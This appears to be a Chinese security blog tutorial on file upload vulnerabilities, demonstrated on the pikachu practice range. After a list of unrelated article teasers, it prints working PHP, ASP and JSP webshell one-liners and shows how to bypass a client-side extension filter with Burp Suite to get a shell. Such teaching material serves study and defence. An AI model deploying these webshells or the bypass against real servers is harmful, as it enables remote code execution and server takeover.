Web渗透:文件上传漏洞

news2024/10/6 2:23:49

文件上传漏洞(File Upload Vulnerability)是网络安全中的一种常见漏洞,攻击者可以通过此漏洞将恶意文件上传到服务器,从而执行任意代码、覆盖重要文件、或进行其他恶意操作。这种漏洞可能带来严重的安全风险,包括数据泄露、系统入侵、甚至完全控制服务器。

文件上传漏洞的危害
①代码执行:攻击者可以上传包含恶意代码的脚本文件,如PHP、ASP、JSP等,直接在服务器上执行。
②文件覆盖:上传文件可能覆盖现有的合法文件,导致网站功能受损或被篡改。
③数据泄露:恶意文件可能包含脚本,读取服务器上的敏感信息并发送给攻击者。
④跨站脚本攻击(XSS):上传的文件可能包含恶意脚本,当其他用户访问该文件时,触发跨站脚本攻击。
文件上传漏洞常见的出现场景
1.头像上传功能

许多网站允许用户上传头像或个人资料图片。如果没有严格的文件类型和内容检查,攻击者可以上传恶意脚本文件伪装成图片文件。

2.文件共享和存储服务

各种文件共享平台或云存储服务允许用户上传和共享文件。如果没有有效的安全措施,攻击者可以上传恶意文件,伪装成合法文件,诱使其他用户下载和执行。

3.内容管理系统(CMS)

CMS系统(如WordPress、Joomla、Drupal等)通常允许用户上传图片、视频、文档等多种类型的文件。如果上传功能存在漏洞,攻击者可以利用它们上传恶意代码。

4.博客和论坛平台

这些平台通常允许用户上传附件(如图片、文档等)来支持他们的帖子和评论。如果没有严格的验证和过滤机制,攻击者可以上传恶意文件。

5.电子邮件附件上传

许多邮件系统允许用户上传附件并发送邮件。如果没有正确的安全检查,攻击者可以上传恶意附件,目标用户一旦下载和打开就可能受到攻击。

6.在线文件转换服务

这些服务允许用户上传文件并将其转换为其他格式。如果服务没有适当的安全措施,攻击者可以上传恶意文件,利用转换过程中的漏洞进行攻击。

基本上存在文件上传功能点的页面就可能存在文件上传漏洞

示例

在此处我们也是使用pikachu靶场来进行演示,打开靶场中文件上传漏洞相关页面,可以发现此处有上传图片的功能点:

这个时候我们可以尝试上传一个php一句话木马进去(具体传什么类型的木马要根据环境决定,如果是asp环境就传入asp木马、jsp就传jsp木马等等)

php木马:
<?php @eval($_POST['cmd']); ?>

<?php ... ?>: PHP的起始和结束标记,表示在其中包含的是PHP代码。

@: 错误控制运算符,抑制错误消息的输出。即使代码中出现错误,也不会显示给用户。

eval(): 一个PHP函数,将传递给它的字符串作为PHP代码执行。它非常危险,因为它可以执行任何PHP代码。

$_POST['cmd']: 从HTTP POST请求中获取名为cmd的参数值。

asp木马:
<% eval request("cmd") %>

<% ... %>:ASP的起始和结束标记,表示在其中包含的是ASP代码。

eval:一个ASP函数,将传递给它的字符串作为代码执行。与PHP中的eval()函数类似,它非常危险,因为它可以执行任何代码。

request("cmd"):从HTTP请求(GET或POST)中获取名为cmd的参数值。

jsp木马:
<% 
    if (request.getParameter("cmd") != null) {
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        java.io.InputStream in = p.getInputStream();
        int a = -1;
        while((a=in.read())!=-1){
            out.print((char)a);
        }
    }
%>

因为此时pikachu所用的后端为php,那么此时我们就可以上传一个php一句话木马进行尝试;可是当我们将选择php木马文件尝试进行上传后页面则弹出窗口:

可以看到此时页面进行弹窗说明此次木马上传被某种不知名的力量阻断了,那么这个时候我们首先要判断这股力量是存在于客户端(浏览器)中或者是存在于服务端中,此时可以通过burpsuite进行抓包,因为在这边我们需要定位这股力量是存在于前端还是存在于后端;在这边我们打开Burpsuite的Intercept功能进行数据包拦截;

这个时候我们再次进行php木马上传,这个时候发现拦截窗口已经弹出,但是Burpsuite中并没有拦截到对应的数据包;

这就说明我们的请求上传的数据包在前端就已经被过滤掉了;这个时候我们可以使用一张图片来进行当前情况的说明:

这个时候我们就可以对前端代码(页面中按下ctrl+u)进行审查;果然在网页代码中发现了对应的过滤代码:

<script>
    function checkFileExt(filename)
    {
        var flag = false; //状态
        var arr = ["jpg","png","gif"];
        //取出上传文件的扩展名
        var index = filename.lastIndexOf(".");
        var ext = filename.substr(index+1);
        //比较
        for(var i=0;i<arr.length;i++)
        {
            if(ext == arr[i])
            {
                flag = true; //一旦找到合适的,立即退出循环
                break;
            }
        }
        //条件判断
        if(!flag)
        {
            alert("上传的文件不符合要求,请重新选择!");
            location.reload(true);
        }
    }
</script>

function checkFileExt(filename): 定义一个名为checkFileExt的函数,接收一个参数filename,表示上传文件的名称。

var flag = false;: 定义一个布尔变量flag,初始化为false,表示文件扩展名是否有效的状态。

var arr = ["jpg","png","gif"];: 定义一个数组arr,包含允许的文件扩展名。

var index = filename.lastIndexOf(".");: 获取文件名中最后一个.的索引位置。

var ext = filename.substr(index+1);: 从最后一个.的位置开始截取字符串,获取文件的扩展名。

for(var i=0;i<arr.length;i++): 遍历数组arr

if(ext == arr[i]): 检查文件扩展名ext是否在数组arr中。

flag = true;: 如果找到了匹配的扩展名,将flag设置为true

break;: 找到匹配的扩展名后,立即退出循环。

if(!flag): 如果flag仍然为false,表示文件扩展名不在允许的列表中。

alert("上传的文件不符合要求,请重新选择!");: 弹出一个警告框,提示用户上传的文件不符合要求。

location.reload(true);: 重新加载当前页面。

总结:

这段代码的主要功能是通过检查文件扩展名,确保用户上传的文件符合预期(["jpg","png","gif"];)的格式要求。如果文件的扩展名不在允许的列表中,用户将看到一个警告消息,并且页面会重新加载。

绕过前端过滤的方式

这个时候我们可以先将上传的木马程序后缀名修改为"jpg","png","gif"其中的一个进行上传;这个时候我们就可以顺利抓到包了;

接着我们可以将数据包中的filename字段(传输文件名数据)修改为php后缀,接着放行数据包;

这个时候发现文件上传成功,且回显了当前文件在服务端中的相对路径。

这个时候我们就可以通过蚁剑等工具进行连接Get Shell了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1857394.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

leetcode每日一题第117天

class Solution { public:int kthToLast(ListNode* head, int k) {ListNode* slow head;ListNode* fast head;for(int i 0;i<k;i){fast fast->next;}while(fast){slow slow->next;fast fast->next;}return slow->val;} };

bable 【实用教程】

简介 bable 用于将 ES6 的语法编译为 ES5 只关心语法&#xff0c;不关心 API 是否正确。不处理模块化&#xff08;webpack 会处理&#xff09; 搭建开发环境 安装相关的包 npm i babel/cli babel/core babel/preset-env新建文件 .babelrc&#xff0c;内容为 { "presets…

探秘分布式一致性(共识)算法 :Raft

1.前言 Raft 算法是 Multi-Paxos 算法的一种&#xff0c;是一种强一致性算法。核心就是通过日志复制的方式达到整个集群的副本一致。 Raft 算法的三个核心概念就是 Leader 的选举、日志复制、节点变更。本文也将从这三个方面进行探讨。之后再聊聊 Raft 算法的几个应用场景。 2.…

Docker(七)-Docker容器数据卷

1.容器数据卷是什么 卷就是目录或者文件&#xff0c;存在于一个或者多个容器中&#xff0c;由docker挂载到容器&#xff0c;不属于容器内(类似于笔记本电脑外的一个移动硬盘)。 卷的设计目的就是数据持久化&#xff0c;完全独立于容器的生存周期&#xff0c;因此Docker不会在容…

java基于ssm+jsp 师生交流平台

1 管理员登录 管理员输入个人的账号、密码登录系统&#xff0c;这时候系统的数据库就会在进行查找相关的信息&#xff0c;如果我们输入的账号、密码不正确&#xff0c;数据库就会提示出错误的信息提示&#xff0c;同时会提示管理员重新输入自己的账号、密码&#xff0c;直到账…

css3新增了选择器,还有人不知道吗?

伪元素选择器 示例 结语 前言 CSS3给我们新增了选择器&#xff0c;可以更加便捷&#xff0c;更加自由的选择目标元素&#xff0c;你还不知道吗&#xff1f; 属性选择器 属性选择器可以根据元素特定属性的来选择元素。这样就可以不用借助于类或者 id 选择器。 | 选择符 | …

.tar格式软核文件如何在Xplorer的安装

.tar格式软核文件如何在Xplorer的安装 一&#xff0c;简介二&#xff0c;官方软核安装指导三&#xff0c;.tar和.tgz格式文件转换四&#xff0c;总结 一&#xff0c;简介 本文主要介绍.tar格式的软核文件如何在Xplorer中进行安装&#xff0c;供参考。 二&#xff0c;官方软核…

惠普Hp激光打印机Laser MFP 1136w驱动下载,驱动安装过程中显示‘参数无效’解决办法,打开Print Spooler

Hp Laser MFP 1136w打印机驱动下载官网&#xff1a; https://support.hp.com/cn-zh/drivers/hp-laser-mfp-1000-printer-series/model/2101513884 官网上显示有固件和驱动程序&#xff0c;固件不管&#xff0c;选择驱动程序中的全功能解决方案&#xff0c;进行下载安装 在安装…

【办公技巧】Excel选项按钮,如何设置?

excel表格制作时可能会&#xff0c;需要用到勾选、选中的选项按钮&#xff0c;那么这个该如何设置&#xff1f;今天我们一起学习一下设置方法。 首先&#xff0c;我们需要先在excel工具栏中添加一个功能模块&#xff1a;开发工具 依次点击excel中的文件 – 选项 – 自定义功能…

【问chatgpt】

这采用的是什么脚手架初始化的&#xff1f;这样问询chatgpt 从文件结构来看&#xff0c;这个项目很可能是使用 Express 框架初始化的。这些文件夹和命名约定常见于 Express 项目结构&#xff0c;特别是&#xff1a; controllers: 控制器文件夹&#xff0c;通常用于处理请求逻…

【服务器02】之【阿里云平台】

百度一下阿里云官网 点击注册直接使用支付宝注册可以跳过认证 成功登录后&#xff0c;点击产品 点击免费试用 点击勾选 选一个距离最近的 点满GB 注意&#xff1a;一般试用的时用的是【阿里云】&#xff0c;真正做项目时用的是【腾讯云】 现在开始学习使用&#xff1a; 首先…

域名被劫持怎么办

域名劫持是指黑客通过篡改域名解析的过程&#xff0c;将原本属于某个域名的IP地址指向其它恶意网站或服务器的行为。这种攻击方式常用于网络钓鱼、广告投放等非法活动。 定义 域名劫持就是在劫持的网络范围内拦截域名解析的请求&#xff0c;分析请求的域名&#xff0c;把审查…

去人声留伴奏免费软件?消除人声,分离伴奏!9款应用!

在音频/歌曲/音乐处理领域&#xff0c;去人声留伴奏的技术需求日益增加&#xff0c;无论是音乐爱好者、视频制作者还是专业音频编辑师&#xff0c;都希望能够找到一款高效且免费的去人声分离伴奏软件来完成这一任务。今天&#xff0c;我们就来详细介绍和分析9款手机与电脑上的去…

ubuntu 编译交叉环境arm 版本的openssl库

一&#xff0c;下载源码 [ Old Releases ] - /source/old/index.html 二&#xff0c;设置交叉编译环境 我的交叉环境是RV1126开发板&#xff0c;/home/rpdzkj/development/cross-compile-tools/rv1126/ 对应的是我电脑里的RV1126开发板的交叉环境下的gc g等路径存放 设置环境…

A Data Set of Synthetic Utterances for Computational Personality Analysis

可计算人格分析的综合话语数据集 A Data Set of Synthetic Utterances for Computational Personality Analysis 可计算人格分析的综合话语数据集摘要1 背景和总结2 方法2.1 生成角色2.2 生成数据集 3 数据记录4 技术验证4.1 人类专家的验证4.2 通过计算工具验证话语4.3 通过机…

项目管理软件如何帮助收尾项目?

项目规划、执行、监测和控制通常是项目管理的重点。即使是项目启动也会受到关注&#xff0c;但项目收尾通常是事后才提及的。 实际上&#xff0c;项目的每个阶段都很重要。项目收尾不仅仅是按时交付、不超预算和达到预期质量。 什么是项目收尾&#xff1f; 项目收尾是项目生…

力扣每日一题 下一个更大元素 II 单调栈 循环数组

Problem: 503. 下一个更大元素 II 思路 &#x1f468;‍&#x1f3eb; 参考题解 Code class Solution {public int[] nextGreaterElements(int[] nums) {int n nums.length;int[] res new int[n];Arrays.fill(res,-1);Stack<Integer> stack new Stack<>();//…

数据库讲解---(数据库设计)

目录 一.数据库设计概述 1.1数据库设计的内容 1.1.1数据库的结构设计 1.1.2数据库的行为设计 1.2数据库设计方法 1.2.1直观设计法 1.2.2规范设计法 1.2.3计算机辅助设计法 1.2.4自动化设计法 1.3数据库设计的基本步骤 1.3.1需求分析 1.3.2概念结构设计 1.3.3逻辑结…

python基于Selenium的web自动化框架

1 什么是selenium Selenium 是一个基于浏览器的自动化工具&#xff0c;它提供了一种跨平台、跨浏览器的端到端的web自动化解决方案。Selenium主要包括三部分&#xff1a;Selenium IDE、Selenium WebDriver 和Selenium Grid&#xff1a; Selenium IDE&#xff1a;Firefox的一个…

电脑显示msvcp110.dll丢失的修复方法,快速解决msvcp110.dll的5种方法

今天&#xff0c;我想与大家分享一个我在技术支持领域遇到的一个常见问题&#xff0c;以及我如何解决它的经验。这个问题是关于“msvcp110.dll丢失”的修复方法。 一&#xff0c;了解msvcp110.dll是什么 msvcp110.dll 是一个动态链接库文件&#xff0c;它是 Microsoft Visual …